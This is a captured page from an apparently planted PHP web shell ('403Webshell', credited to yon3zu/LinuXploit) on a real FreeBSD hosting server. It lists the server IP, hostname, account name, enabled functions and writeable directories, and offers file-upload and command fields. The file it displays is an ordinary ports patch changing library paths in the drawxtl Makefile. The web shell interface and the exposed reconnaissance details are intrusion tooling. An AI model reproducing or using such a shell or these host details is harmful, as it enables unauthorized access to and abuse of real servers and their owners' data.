403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/science/drawxtl/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/science/drawxtl/files/patch-Makefile
--- Makefile.orig	2011-03-08 18:55:26 UTC
+++ Makefile
@@ -34,11 +34,11 @@ ifeq ($(OS),Linux)
 
   prefix          = /usr/local
   includedir      = ${prefix}/include
-  libdir          = /usr/lib/
+  libdir          = ${prefix}/lib/
 
   BUILD_CPU=$(shell uname -m)
   ifneq (,$(findstring 64,$(BUILD_CPU)))
-      libdir	  = /usr/lib64/
+      libdir	  = ${prefix}/lib/
   endif
 
 # compiler name:
@@ -52,11 +52,11 @@ ifeq ($(OS),Linux)
   CXXFLAGS        = $(OPTIM)  -I/usr/X11R6/include $(GLUT)
 
 # libraries to link with:
-  GLDLIBS  =  -L/usr/X11R6/lib  -lGLU -lGL -lXinerama -lXft -lpthread -lm  -lXext -lX11  -lXpm \
+  GLDLIBS  =  -L$(prefix)/lib  -lGLU -lGL -lXinerama -lXft -lpthread -lm  -lXext -lX11  -lXpm \
 		-lfltk \
 # -lglut # only needed with old versions of fltk before 1.1.8
 #       -lXi -lgdkglext-x11-1.0a  # Fedora Core 2 needs these libraries
-  LINKFLTKGL  = $(libdir)libfltk.a $(libdir)libfltk_gl.a
+  LINKFLTKGL  = $(libdir)libfltk.so $(libdir)libfltk_gl.so
 
 # The extension to use for executables...
   EXEEXT          =
@@ -216,7 +216,7 @@ clean:
 .deps:  $(CPPFILES)
 	echo "Building dependencies..."
 	echo >.deps
-	for i in $(CPPFILES); do gcc -MM $(PREINC) $$i >>.deps; done
+	for i in $(CPPFILES); do gcc $(CFLAGS) -MM $(PREINC) $$i >>.deps; done
 
 -include .deps
 

Youez - 2016 - github.com/yon3zu
LinuXploit